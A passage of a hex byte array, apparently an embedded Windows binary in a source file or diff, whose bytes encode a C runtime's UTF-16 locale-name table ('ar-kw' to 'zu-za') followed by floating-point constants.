0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x6b, 0x00, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x62, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x71, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x73, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x74, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x79, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, - 0x63, 0x00, 0x79, 0x00, 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, - 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x62, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x67, 0x00, 0x2d, 0x00, 0x62, 0x00, - 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x62, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, - 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x63, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x79, 0x00, - 0x2d, 0x00, 0x67, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x64, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x6b, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x6c, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x64, 0x00, 0x69, 0x00, 0x76, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x76, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x67, 0x00, - 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x61, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x7a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x67, 0x00, 0x62, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x6a, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x7a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x70, 0x00, - 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x74, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x75, 0x00, 0x73, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x7a, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x7a, 0x00, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x62, 0x00, - 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x64, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x63, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x65, 0x00, - 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x67, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x68, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6d, 0x00, - 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x6e, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x70, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x73, 0x00, - 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x75, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x65, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x76, 0x00, 0x65, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x65, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x75, 0x00, - 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x66, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x66, 0x00, - 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x6f, 0x00, - 0x2d, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x65, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x6d, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x67, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x67, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, - 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x68, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x68, 0x00, 0x75, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x61, 0x00, - 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x64, 0x00, - 0x2d, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x69, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x73, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0x00, 0x74, 0x00, - 0x2d, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6a, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x6a, 0x00, 0x70, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x67, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6b, 0x00, - 0x2d, 0x00, 0x6b, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6b, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6f, 0x00, 0x6b, 0x00, 0x2d, 0x00, - 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x6f, 0x00, - 0x2d, 0x00, 0x6b, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6b, 0x00, 0x79, 0x00, 0x2d, 0x00, 0x6b, 0x00, 0x67, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6c, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x76, 0x00, - 0x2d, 0x00, 0x6c, 0x00, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6d, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x7a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x6b, 0x00, 0x2d, 0x00, 0x6d, 0x00, - 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x6c, 0x00, - 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6d, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x73, 0x00, - 0x2d, 0x00, 0x62, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x79, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x6d, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x62, 0x00, - 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6e, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x65, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x6e, 0x00, - 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x6e, 0x00, - 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6e, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x6c, 0x00, - 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x70, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x72, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x70, 0x00, - 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, - 0x7a, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x71, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x63, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x71, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, - 0x70, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x00, 0x6f, 0x00, - 0x2d, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x72, 0x00, 0x75, 0x00, 0x2d, 0x00, 0x72, 0x00, 0x75, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x65, 0x00, - 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x73, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6b, 0x00, - 0x2d, 0x00, 0x73, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x69, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x2d, 0x00, - 0x6e, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, - 0x61, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x6f, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, 0x6a, 0x00, 0x2d, 0x00, - 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x6d, 0x00, - 0x6e, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x71, 0x00, 0x2d, 0x00, 0x61, 0x00, - 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x73, 0x00, 0x70, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x72, 0x00, - 0x2d, 0x00, 0x73, 0x00, 0x70, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x76, 0x00, - 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x76, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x65, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x77, 0x00, 0x2d, 0x00, 0x6b, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x74, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x69, 0x00, - 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x68, 0x00, - 0x2d, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x74, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x74, 0x00, - 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x74, 0x00, - 0x2d, 0x00, 0x72, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x75, 0x00, 0x6b, 0x00, 0x2d, 0x00, 0x75, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x70, 0x00, - 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x7a, 0x00, - 0x2d, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x00, 0x7a, 0x00, - 0x2d, 0x00, 0x75, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x61, 0x00, - 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x00, 0x69, 0x00, - 0x2d, 0x00, 0x76, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x63, 0x00, - 0x68, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, - 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x63, 0x00, 0x6e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x68, 0x00, - 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, - 0x2d, 0x00, 0x6d, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x67, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x68, 0x00, 0x2d, 0x00, 0x74, 0x00, - 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x75, 0x00, - 0x2d, 0x00, 0x7a, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xf0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0xe5, 0x26, 0x15, - 0x7b, 0xcb, 0xdb, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0xcb, 0xdb, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x35, 0x95, 0x71, 0x28, 0x37, 0xa9, 0xa8, 0x3e, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, - 0x13, 0x44, 0xd3, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x25, 0x3e, 0x62, 0xde, 0x3f, 0xef, 0x03, 0x3e, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x60, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0xd5, 0x3f, - 0x00, 0x00, 0x00, 